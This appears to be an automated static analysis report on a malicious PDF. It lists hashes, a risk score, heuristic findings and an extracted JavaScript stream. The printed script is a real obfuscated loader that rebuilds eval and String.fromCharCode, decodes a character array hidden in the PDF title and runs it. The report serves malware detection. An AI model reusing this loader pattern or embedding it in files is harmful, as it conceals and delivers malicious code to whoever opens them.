Malicious PDF — malware analysis report

Static analysis result for SHA-256 ed3c1a15b0a88e2e…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-08
MD5: 601f29044b2bf5d4fb7721446dc87da3 SHA-1: 0ad3afdccd865ecb7d8afe49e7a124e2b0c47fe1 SHA-256: ed3c1a15b0a88e2e25a93b4e87c8d75e9c22c671fd5e894f38b20b71d9a10c96
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB00F 445 bytes
SHA-256: 56cc07e485455568999489062b34599e9616222ca1dcb0604076051e62eddc8b
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
nbw='';
wytcv=('qwrwqr','tit');
e('kuf=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
ywf=e('String.fr'+kuf.substr(0,10));
cqfnn = e(kuf.substr(10)['replace'](/u/g,','));
e('k=cqfnn.length');
for (i = 0; i < k; i+=2) {
	xaobf = cqfnn[i+1] + ('erybjkerl',cqfnn[i]);
	nbw += ywf(xaobf);
}
e(nbw);

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